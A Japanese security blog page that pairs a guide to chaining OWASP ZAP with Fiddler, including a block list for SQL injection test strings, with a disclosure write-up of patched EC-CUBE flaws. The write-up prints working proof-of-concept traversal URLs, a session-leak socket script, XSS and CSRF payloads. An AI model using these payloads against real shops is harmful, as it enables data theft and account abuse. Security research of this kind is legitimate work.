(Zestではなく、ECMAScriptのほうでゴリゴリ書けばたぶん実現できるのではないかと思いますが、それだと実験1 ZAP+Fiddlerと手間が変わらないのでメリットがあまりありません。複数画面遷移の時にZestのGUIで必要最低限の設定を加えれば動的スキャンできる、のような状態を目標にしていたのですが、今回はできませんでした)

後編へ

OWASP ZAPは、単体で使うよりもFiddlerやBurp Suiteなどの他のローカルプロキシと組み合わせて多段プロキシの形にして利用するほうが便利です。

■なぜZAP+他プロキシの形にするか


OWASP ZAPはいろいろ便利な機能がある反面、ログ機能に関していまいちな挙動をいくつか持っています。

OWASP ZAPのログ機能のいまいちさの例(ZAP 2.5.0での現象):

・「動的スキャン」のログと「履歴」のログが別で、診断対象サイトにアクセスしたり動的スキャンした後に、いったんセッションファイルを保存してZAPを再起動してセッションファイルを開くと、「履歴」のログのみが残っていて「動的スキャン」のログは復活しない(実施した動的スキャンのログはZAPを落とすまでは見れるが、保存されない)。

・リダイレクトが発生するページにアクセスした際、ZAPの通常の履歴にはリダイレクトの各ページの遷移が出てくるが、そのページに対して動的スキャンを実施した場合、動的スキャン側のログではリダイレクトの履歴が省略される場合がある(あたかもそのページからレスポンスが来たかのようなログになっているが、実際はリダイレクト先からのレスポンスである、というケースがある)。

・同様に、リダイレクトが発生するページに対して履歴右クリック-「再送信」を行うと、履歴ウィンドウに途中のリダイレクトが省略されて1回のリクエスト→レスポンスであるかのようなログが記録される。


ZAP「再送信」の時の例
Locationヘッダでindex.php - index2.php - index3.php とリダイレクトするサンプルページを作成し、
・ブラウザでindex.phpへアクセス
・ZAPの履歴ウィンドウでindex.phpを右クリック-再送信
した時のスクリーンショット:
[ZAP]

[Fiddler]


再送信の時にリダイレクトが記録されないのは単にZAPのバグなのかもしれないのですが(後で時間できた時にまたissue上げておきます→上げました)、上で挙げたようにZAPのログ機能にはいまいちな仕様が含まれているため、それに備えて、OWASP ZAPは単体で使うよりも、多段プロキシの形にしてZAPの挙動を別のプロキシで記録しながら使うほうが安全です。

(実施した診断が原因かもしれない問題が発生した場合、診断時に何を投げたのかのログが完璧に残っていないと詳細な原因調査ができなくなり、推測で原因を特定しなければならなくなりますし、診断が原因でなかった場合でも潔白が証明できなくなります。診断時のログは全て記録しておいた方が良いです)

また、Fiddlerを単にLoggerとして使うだけでもメリットはあるのですが、Fiddler Scriptを利用して多段プロキシならではの合わせ技のようなこともできるので、今回はその合わせ技をいくつか紹介します。

■ZAP+Fiddler 多段プロキシの設定方法


設定の概略としては

【ブラウザ】
・ブラウザのプロキシ設定としてlocalhostの7777番ポートを設定(ブラウザからの通信がlocalhost:7777へ送信される)

【OWASP ZAP】
・localhostの7777番ポートで待ち受ける設定を行う
・ZAP自身のプロキシ設定としてlocalhostの8888番ポートを設定(ZAPからの通信がlocalhost:8888へ送信される)

【Fiddler】
・localhostの8888番ポートで待ち受ける設定を行う


このように設定することで

【ブラウザ】-7777番ポート-【OWASP ZAP】-8888番ポート-【Fiddler】-【診断対象サイト】


というプロキシツールを二つ経由して対象サイトへアクセスする状態が作れます。

構成図


・ブラウザの設定
ウェブブラウザには通常プロキシサーバーを設定する設定項目があります。

例えばFirefoxであれば、[ツール]-[オプション]-[詳細]-[ネットワークタブ]-[接続設定] の画面を開くとプロキシの設定画面が出てきます。

HTTPプロキシとSSLプロキシの欄に、ZAPを動作させるサーバ(通常ローカルPCでブラウザと一緒に起動すると思うのでlocalhostか127.0.0.1)と、ZAPが待ち受けているポート(本設定例では7777)を設定します。


・ZAPの設定
設定1:
ZAPのメニューの[ツール]-[オプション]-[ローカルプロキシ]の設定画面でZAPがどのポートで待ち受けるかの設定を行います。
本設定例ではAddtess:localhost ポート:7777に設定してください。

設定2:
ZAPのメニューの[ツール]-[オプション]-[ネットワーク]の設定画面で[プロキシ・チェイン利用]の[外部プロキシサーバ利用]のチェックボックスをオンにすると、ZAPからの通信を中継するプロキシサーバを指定することができます。ここにFiddlerの待ち受けポートを設定します。
本設定例では「アドレス/ドメイン名」をlocalhost、ポートを8888に設定します。


・Fiddlerの設定

Fiddlerのメニューの[Telerik Fiddler Options]-[Connections]タブで「Fiddler listens on port」を8888(本設定例での値)に設定します。

あと、同じタブにある[Act as system proxy on startup]チェックボックスはオフにしたほうが良いと思います。これをオンにしているとFiddlerがシステムのプロキシとして働く設定で起動するので、ZAPから来た以外の全ての通信をキャプチャしてしまい、別ブラウザで開いたサイトの通信などもFiddlerのログに記録されてしまうからです。(これをオフにしておくと8888ポートに来た通信のみキャプチャします)


この設定を行った状態で、ブラウザからhttp通信のサイトを見ると、ZAPとFiddlerにそれぞれログが記録されることが確認できると思います。

※この設定で通信を問題なく中継できるのはhttpのサイトだけで、SSLを利用したhttpsプロトコルのサイトだとうまく中継できないと思います。httpsのサイトにアクセスできるようにするためには、この設定に加えて、別途、FiddlerやZAPの証明書を証明書ストアに登録する必要があります。

その手順について簡潔に解説して下さっているブログ記事がありましたので、参考資料としてリンクを張っておきます。

Fiddler、ZAPでhttps通信で証明書エラーを出さなくする(ブラウザルート証明書の登録) (linux-555様)
http://ameblo.jp/soft3133/entry-11774215969.html

■ZAP+Fiddler 小技集


・小技1:リクエストに対し一定のウェイト(ディレイ)をかける

FiddlerではFiddlerScriptをカスタマイズすることでFiddlerを通るリクエストやレスポンスに一定のウェイト(ディレイ)をかけることが可能です。
そのカスタマイズ機能を利用し、ZAPの動的スキャンのアクセスの速度をFiddler側で制御して、動的スキャン対象サーバーにかける負荷を緩めることが可能です。

Fiddlerの[Rules]-[Customize Rules...] を選択すると、FiddlerScript と呼ばれるFiddlerカスタマイズ用スクリプトが表示されます。

FiddlerScript のOnBeforeRequestという関数内部に(どこでもかまいませんが、冒頭あたりに)
System.Threading.Thread.Sleep(1000);
このコードを書いておくと、ZAPの動的スキャンなどの際に、1リクエストごとに所定のウェイト(上記であれば1000ミリ秒)が入ることになるため、動的スキャン対象サーバへ負荷をかけすぎずに診断を行うことができます。

またFiddlerのカラムにリクエスト時間を表示しておいたほうが何かと便利なので、stackoverflowの下記スレッド
How to display the request sent time and the response received time in Fiddler?

> For Fiddler 4.6.2, Right Click on any of the Column Headers on the Sessions pane.
> Customize Columns > Collection > SessionTimers > ClientBeginRequest and ClientDoneRequest

このカスタマイズを入れておくと良いと思います。

OWASP ZAPにも動的スキャン時にリクエストを遅延させる設定項目はあるのですが、

・ZAPの動的スキャンでは最大1秒しかウェイトを設定できない
→ Fiddler側で調整する形だと何秒でも設定できる。
・ZAPのウェイト指定だと動的スキャン中にウェイトの設定を柔軟に変えることができない
→ Fiddlerでウェイトを調整するとどのタイミングでも柔軟に調節できる

という理由によりOWASP ZAP単体のウェイト指定よりもFiddler側でウェイトをかける方式のほうが使い勝手が良いです。

また、多段プロキシを用いて診断の負荷を調節するような方法は汎用的なテクニックなので、ZAP以外にも外部プロキシが設定できるツール全般に使えます。例えばniktoなどにも外部プロキシの設定オプションがあるので、多段プロキシの形にすることでniktoのリクエスト間隔を調整することができます。


・小技1-1:静的なコンテンツへのリクエストに対してはウェイトをかけない

上に書いたコードの条件追加版です。単に
System.Threading.Thread.Sleep(1000);
だけを書くと、Fiddlerを通るすべてのリクエストに対しウェイト1秒が発生しますが、それだと、画像などの静的なコンテンツを大量に読み込むページなど、リクエスト数がやたら多いページにアクセスする場合、パフォーマンスの劣化が著しいということになります。

そのために、診断対象でない静的コンテンツやHTTPSの場合のCONNECTメソッドなどを除外する条件を追加したものが下記になります。
if (!oSession.HTTPMethodIs("CONNECT")
     && !oSession.oRequest.headers.ExistsAndContains("Accept", "image/") 
     && !oSession.uriContains(".js")){
    System.Threading.Thread.Sleep(1000);
}

・小技2:基本認証を通す

基本認証が設定されているページの診断の場合、ZAPの設定で基本認証を通すことも可能ですが、FiddlerScriptでリクエストヘッダにAuthorizationヘッダを追加するという方法があり、こちらほうが手軽です。(追加箇所はOnBeforeRequest関数内)
oSession.oRequest["Authorization"] = "Basic dGVzdDp0ZXN0";

しかし、上記のコードだと全リクエストヘッダに基本認証のID:パスワードのBase64値を付けて送信してしまうので、対象のサイト以外にアクセスした際にも、設定した基本認証のIDパスワードを送り付けてしまうことになるため、以下のように、「このホストだったら」というのを付けたほうが良いと思われます。
(ホスト単位以上にもっと細かい条件分けが必要な場合はFiddler公式ドキュメントのこのあたりを参照ください)
if(oSession.host === "example.com"){
    oSession.oRequest["Authorization"] = "Basic dGVzdDp0ZXN0";
}

・小技3:特定のホストに対しては特定のプロキシを通す

(追加箇所はOnBeforeRequest関数内)
if(oSession.host === "example.com" ){
    oSession["x-overrideGateway"] = "127.0.0.1:1234"; 
}

・小技4:ZAPが投げる危険な文字列をFiddlerでDROPする(サンプルコード)

ZAPが投げる診断文字列に、サーバ側に送信したくない特定の文字列が含まれている場合にFiddlerでDROPして偽のレスポンスを返すサンプルコードです。

このコードはもともとZAPのSQLインジェクション検査で投げられる「 OR 1=1 -- 」などの危険な文字列をDROPするために書いてみたのですが、ZAPのSQLインジェクション診断用文字列は危険なものが多く、診断文字列を部分的にDROPするよりThresholdをlowにして危険な文字列を投げない最低限の検査を行い、残りは手動で検査したほうがよさそうという結論になったため、このコードは現在は使っていません。

ただ、特定の文字列がリクエストヘッダもしくはボディに含まれていた場合にサーバに投げないでDROPするという処理はどこかで使う機会がありそうなので、自分用メモも兼ねてコードを公開しておきます。
(追加箇所はOnBeforeRequest関数内)
var bBlockOr = false;

// リクエストヘッダに危険なSQLiパターンがあれば
var ReqHeaders = oSession.oRequest.headers.ToString();
if(ReqHeaders.indexOf("+OR+1%3D1+--+") > -1 
 || ReqHeaders.indexOf(" OR 1=1 --") > -1 ){
    bBlockOr = true;
}

// リクエストボディに危険なSQLiパターンがあれば
var ReqBody = System.Text.Encoding.UTF8.GetString(oSession.requestBodyBytes);
if(ReqBody.indexOf("+OR+1%3D1+--+") > -1 
 || ReqBody.indexOf(" OR 1=1 --") > -1 ){
    bBlockOr = true;
}

// リクエストのブロック処理(偽のレスポンスを返す)
if(bBlockOr == true){ 
    oSession.utilCreateResponseAndBypassServer();
    oSession.oResponse.headers.SetStatus(503,"filtered (SQLi test blocked)");
} 


長くなったので記事を分けて前・中・後編とします。中編に続きます。

※記事中で紹介したサンプルコードはなるべく間違いのないように心がけておりますが、無保証です。利用する場合は自己責任にて改めて検証の上ご利用ください。
(何かミスを見つけたらお知らせください)

中編へ

ある方よりEC-CUBEのある脆弱性の情報公開の要望を受け、EC-CUBE3がリリース一周年となり、EC-CUBE2.13が2017年7月にサポート終了ということも考えるとそろそろ頃合いかとも思えたので、私が以前発見したEC-CUBEの脆弱性について詳細を公開します。

脆弱性の詳細を公開する理由は、いわゆるフルディスクロージャの考え方によります。
脆弱性の情報を全員が把握している状態になっているほうが、攻撃ログを解析しやすくなったり、脆弱性の有無を判定できるようになったり等、脆弱性への対策を立てやすくなります。
(もちろん攻撃者も詳細を知ることになるわけですが、OSSの場合脆弱性が公表された日からずっと、パッチの解析などの手段で攻撃者が情報を入手しうる状態は続いているので、いつ攻撃が発生するか分からないし、もしかしたら既に気づかれない形で攻撃が発生しているかもしれない、ということから考えると、脆弱性の情報公開は、タイミングをはかる必要があるにしても、防御側の情報共有のためにむしろ積極的にしたほうが良いということになります)

EC-CUBEの場合、2系のものはカスタマイズして使われることが多いと思われますが、カスタマイズ時に再度脆弱性が作りこまれてしまったりする問題が解消されると思われます。

EC-CUBE2.1x系には自動アップデート機能がないので、開発元のロックオン社からパッチが配布されても適用は手作業となるため、情報の公開には多少の期間をおくべきと思われましたが、今回公表する内容は開発元のパッチ公開から十分な時間が経っていますし、逆にいささか時間を置きすぎたかもしれません。

今回ここで詳細を解説する脆弱性は全て、公表時にロックオン社からEC-CUBEダウンロード者に対策パッチ公開を知らせるメールが飛び、ロックオン社公式サイトに脆弱性情報および対策のページが公開されたものであり、(比較的軽微な一件を除いて)JVNが公開されたものです。


今回公開する脆弱性のリストです。
情報の分量が多いのと、一応最後の念押しとして、前後編に分け、まずは比較的危険性が低いものから前編として公開しようと思います。

[前編]
お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)
ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)
クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)
ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)
クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

[後編の内容予告]
[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)
[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)
[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)
[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

後編は何事もなければ一週間後の8/24(水)深夜か、遅くとも8/25(木)深夜には公開しますので、万が一まだパッチが当たってないEC-CUBEがある場合は後編が公開される前にご対応ください。(デモサイト等にもご注意ください)


■お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=44
JVNなし
情報公開日2013年 05月 22日
危険度
対象EC-CUBE Ver 2.11.0以降(2.11.0 ~2.12.3)
これは比較的軽微な脆弱性と言えると思いますが、EC-CUBEのお届け先複数指定画面上のさまざまな値にエスケープが入っておらず、セルフXSSの形でXSSが可能となっていた、というものでした。

この画面にはuniqidというパラメータによりCSRFチェックが入っているため、第三者がユーザーにリンクを踏ませてXSSを発動させるということができず、セルフXSSしかできないものだったので、脆弱性としての危険度はそれほど高くありません。

本件の修正のチェンジセットを参照すれば何が問題だったのかだいたい把握できると思います。
http://svn.ec-cube.net/open_trac/changeset/22784


■ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=48
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000061.html
情報公開日2013年 06月 26日
危険度
対象EC-CUBE 2.12.5 より前のバージョン

これはWindowsサーバー上で稼働しているEC-CUBE上記バージョンにおける脆弱性で、サーバー上の任意の場所の画像ファイルが参照可能となる脆弱性です。

重要度は比較的低い脆弱性ですが、同一サーバー上に第三者に見られてはいけない画像ファイル(例えば会員登録システムが併設されていて、身分証の画像など)があったりすると危険度は高くなります。
本件はWindowsサーバー上で運用されているEC-CUBEのみが対象です。

EC-CUBEのresize_image.phpが読み込める画像は、設定ファイルにより、定数IMAGE_SAVE_REALDIR下の画像に制限されていたのですが、指定されたファイルパスをチェックする正規表現に穴があり、Windows環境の場合、チェックをすり抜けて相対パスを指定することが可能でした。

LC_Page_ResizeImage.phpのlfCheckFileName()関数のプログラムコードは以下のようになっています。
function lfCheckFileName() {
    //$pattern = '|^[0-9]+_[0-9a-z]+\.[a-z]{3}$|';
    $pattern = '|\./|';
    $file    = trim($_GET['image']);
    if (preg_match_all($pattern, $file, $matches)) {
        return false;
    } else {
        return true;
    }
}
この関数では、正規表現で「./」がパスに含まれる場合、正しくないファイル名としてfalseを返すようになっていますが、Windows環境の場合、パスの区切りに「\」を使う事ができるので、この指定方法を使えば、上記の正規表現に引っかからず、IMAGE_SAVE_REALDIRよりも上位のディレクトリの画像を指定することが可能となります。

例)
エラーになるケース

resize_image.php?image=../someimage.jpg&width=80&height=80

→画像は表示されない

チェックをすり抜けることができるケース

resize_image.php?image=..\someimage.jpg&width=80&height=80

→IMAGE_SAVE_REALDIRの一つ上のディレクトリのsomeimage.jpgが表示される

そのため、Windows環境におけるresize_image.phpのこの脆弱性を用いると、サーバ内の非公開領域にある画像であっても、画像の位置が分かっていれば、インターネット側から参照することが可能となります。

ただし当該プログラムの仕様により、本脆弱性を使ってもgif,jpg,png画像以外のファイルの表示ができないので、サーバー上に画像の形で重要情報が置いてあるケースは限られるため、一般的にはそこまでの危険性を持つ脆弱性とは言えないのではないかと思いますが、身分証画像やマイナンバー通知書画像のアップロードがあるシステムと同居している等、画像による重要情報がサーバー上にあり、パスが第三者に推測可能なケースの場合には情報漏えいの危険があります。

(※本件届出時に「.\/」でチェックをバイパスできる現象を発見した際の理解が間違っていて、「\でエスケープをしている」というような謎説明で届出を行っていたのですが、そんなわけはなく、上記が正しい説明です。謹んで訂正いたします)


■クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=54
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000105.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5

本件はEC-CUBEに関しての一番最初の届出だったのですが、再現方法が複雑で、自分の説明がうまくなかったのもあって、IPAの方と話がうまくかみ合わず苦労した覚えがあります。

これはPostgresを利用しているEC-CUBEの上記バージョンにおいて、不正なUTF-8文字コードをリクエストに含めるとエラーが発生し、エラーメッセージとして、PHPSESSIDに紐づいているPHPセッションオブジェクトに入っている情報の先頭680バイト部分(長さは環境による)が、ユーザーのブラウザ上で暴露されてしまう、という脆弱性と、そのエラーメッセージのダンプにタグを含ませることができ、XSSが可能、という脆弱性です。

再現に使ったPostgreSQLのバージョンは9.2.3で、MySQL利用のEC-CUBEだと再現せず、またEC-CUBE2.12.3では同様の攻撃を行っても情報は出力されませんでした。

当時使った検証プログラムのPHPコードが出てきたので貼ります。
<?php
$results = send_socket();
file_put_contents(".\attack_single.txt", $results);

//送信関数
function send_socket(){ 
    $data = '';
    $host = 'localhost';
    $port = '88'; 
    $sock = fsockopen($host, $port);

    $request= <<< _EOM
GET http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=%%%_param_%%% HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=o4hl7bc8on7hi0em9a29efmnu6
Connection: close


_EOM;

    $request_fix=str_replace("%%%_param_%%%", "\xe0\x80\xa7", $request);

    if(!$sock){
        $data = 'socket error:' . $host;
    }else{
        fputs($sock, $request_fix);
        while(!feof($sock)){
            $data .= fgets($sock);
        }
        fclose($sock);
    }
    return $request_fix."\n\n---\n\n".$data;
}

これで http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7 というリクエストをソケットで直接EC-CUBEに投入すると、CCUBEからのレスポンスの末尾(までの通常ページ出力の後)に下記エラーメッセージが出力され、SQL文とHTTPセッションの中身が出力されます。
<b>Fatal error</b>:  https://localhost:88http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='

SERVER_ADDR: 127.0.0.1
REMOTE_ADDR: 127.0.0.1
USER_AGENT: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0

SQL: UPDATE dtb_session SET sess_data= $1, update_date= CURRENT_TIMESTAMP WHERE sess_id = $2

PlaceHolder: array (
0 => 'cart|a:0:{}prev_url|s:67:"http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='";transactionid|s:40:"1c2ce3a89c216f41d22355562458763d2b8e43cf";customer|a:38:{s:11:"customer_id";s:1:"3";s:6:"name01";s:1:"a";s:6:"name02";s:3:"あ";s:6:"kana01";s:3:"ア";s:6:"kana02";s:3:"ア";s:5:"zip01";s:3:"160";s:5:"zip02";s:4:"0022";s:4:"pref";s:1:"1";s:6:"addr01";s:3:"あ";s:6:"addr02";s:3:"あ";s:5:"email";s:19:"*********@gmail.com";s:12:"email_mobile";N;s:5:"tel01";s:2:"03";s:5:"tel02";s:4:"1122";s:5:"tel03";s:4:"3344";s:5:"fax01";N;s:5:"fax02";N;s:5:"fax03";N;s:3:"sex";s:1:"1";s:3:"job";N;s:5:"birth";N;s:8:"password";s:64:"01818cc1125632aaced1b84fb62b90c5ca264339a43f31dc701b2 in <b>C:\fsc\xampp\htdocs\eccube-2.11.5pg\data\class\SC_Query.php</b> on line <b>917</b><br />

セッションIDに紐づいた情報しか見れないので、自分に関するセッションデータしか見ることができないのですが、このダンプでもパスワードハッシュの一部が見えているという要素があり、php.iniのlog_errors_max_len がデフォルトより長く設定してあるともっとダンプされる内容の表示が長くなり、管理画面側からユーザーに対して登録された「SHOP用メモ」の内容が見えてしまう、という要素があったので、「セッション情報が暴露される」という内容で届出を行いました。

ただ、一般的な脆弱性ではなく、届出を行う窓口を最初間違えていたりとか、いろいろあってなかなか話が通じず、いろいろ説明しているうちに、このエラー表示にタグを含めてXSSすることが可能であることに気づきました。

PHPプログラムでソケットなどをわざわざ使わなくとも、IEはパラメーターをURLエンコードしないでサーバーに投入する仕様なので、下記のHTMLファイルをIEで開けば上記のようなセッション暴露およびXSSが可能でした。
<html>
<body>
<script>
document.location = "http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7&a=<script>alert('XSS')</scr"+"ipt>";
</script>
</body>
</html>
これをIEで開いた結果、このようにエラー表示内にscriptタグを含ませたり、セッションデータの暴露が行われたりしました。




■ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=52
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000098.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

公開側のマイページ内の /mypage/delivery_addr.php に対し、ParentPageパラメータを「/s」のような値でPOSTすると、ソースコード上で、システム内部の絶対パスが露出する脆弱性でした。

例えば

<html><body>
<form action="http://localhost/eccube-2.12.5/html/mypage/delivery_addr.php"
method="post">
<input type="text" name="ParentPage" value="/s">
<input type="submit" value="submit">
</form>
</body></html>

のようなhtmlでdelivery_addr.phpにPOSTを行うと、まずPOST二回に一回は「不正なアクセスです」エラーになるという挙動があるのですが(この挙動の原因は調べきれず不明です)、正常なページが返ってくるほうのレスポンスで、ソースコード上にサーバ側のHTML_REALDIR定数の絶対パスが露出しています。
(未ログインであることが前提。ログイン済みだとこの現象は起こりません)
<script type="text/javascript">//<![CDATA[
    $(function(){
        fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/www/eccube-2.12.5/html'); window.close();
    });
//]]></script>
</head>
※少し分かりづらいのですが、fnUpdateParent関数の引数のところにサーバ内部のフルパスが出力されています。
この例だと
http://localhost/eccube-2.12.5/html/
までは正規の出力で、それに続く
/home/exampleuser1/www/eccube-2.12.5/html
がサーバ内部の絶対パスの出力です。

ここでこの現象が起こるのは「/」で始まって、「/」で終わっていない存在しないディレクトリ名をParentPageに指定した時で、内部的にHTML_REALDIR定数の内容と合致する箇所の削除がされて出力されるところが、されなくなるのでHTML_REALDIRのフルパスが出力される、というメカニズムのようです。

この現象を利用してシステム内のファイルの絶対パスが取得できます。
LC_Page.phpのgetRootPath関数では、ROOT_URLPATHの文字数分削除した後にrealpathを取るという処理があるので、例えばROOT_URLPATHの文字数が20文字の場合

/aaaaaaaaaaaaaaaaaa/../../../../log/access_log


のような値をPOSTすると、先頭20文字が削られ、/../../../../log/access_log となり、ec-cubeのhtmlディレクトリからの相対でその位置にファイルが存在すれば

fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/log/access_log');

のようなレスポンスが返ってきます。

(指定したファイルが存在しなければ
fnUpdateParent('http://localhost/eccube-2.12.5/html/')
が返ってきます。)

これを利用してシステム内の様々なファイルのパスを取得することが可能です。

ここで判明するのはファイルの絶対パスだけで、ファイルの中身が見れるわけではありませんが、絶対パスが分かることでシステム内の情報が探れるケースがあるため、ある程度の危険があります。


■クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=53
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000097.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

これは単純なCSRFで、マイページの退会処理の箇所でCSRFチェックが入っていないので、EC-CUBEにログインしているユーザーに下記のようなリンクを踏ませると、ワンクリックで強制退会させることができてしまう脆弱性です。

http://localhost/eccube/html/mypage/refusal.php?mode=complete



以後は後編の予告となります。
各脆弱性に該当するバージョンの情報や開発元のパッチの情報へのリンクがありますので、もし該当する脆弱性への対応がまだである場合、対応をお願いいたします。

■[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=42
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000043.html
情報公開日2013年 05月 22日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2

これはWindowsサーバー上、もしくはlinuxサーバー上の特定環境で稼働しているEC-CUBEの上記バージョンにおいて、管理画面に攻撃者が認証せずに入ることができ、管理画面上の操作ができてしまう脆弱性です。

侵入者は管理画面の大半の処理ができ、一部できない処理もありますが、顧客情報のCSVダウンロード等、重大な処理が行えてしまいます。

本件は後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。

(参考資料)
この脆弱性については、EC-CUBEエバンジェリストの川口歩氏が、この脆弱性を含む4件の脆弱性(2013/5/22に公表された4件)を解説している動画が公開されています。下北沢オープンソースCafeのEC-CUBE部(東京ユーザ会)の動画「EC-CUBE最新版と脆弱性」です。本脆弱性に関して結構きわどい解説をしていると思います。


■[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=49
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000062.html
情報公開日2013年 06月 26日
危険度
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en

これは、攻撃者が任意のPHPコードを実行できるという危険な脆弱性です。

この脆弱性のあるEC-CUBE上で任意のPHPコードを実行できるため、WEBサーバーの権限でできる処理は何でもできてしまいます。外部から渡されたコマンドをサーバー上で実行するWEBシェルの作成も当然可能でしたので、サーバーを乗っ取られる危険性があります。
この攻撃を成立させるのには認証等は不要で、外部からいきなり攻撃を成立させることが可能です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=50
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000081.html
情報公開日2013年 08月 29日
危険度
対象EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en

これは、ちょっとタイトルが微妙で、EC-CUBE2.12.4以前のバージョンの場合linux環境でも問題となる現象を起こせたのですが、届出時の最新版2.12.5の場合、入力チェックが厳しくなってwindows環境上のEC-CUBEでしか攻撃が成立しないことになったので、「Windowsサーバー環境における」というのが付いたのだと思います。

この脆弱性は、EC-CUBEのある機能にあったパストラバーサル脆弱性を特殊な形で突くことで、EC-CUBEに格納されている顧客情報を外部から入手するなどの処理ができるという内容です。

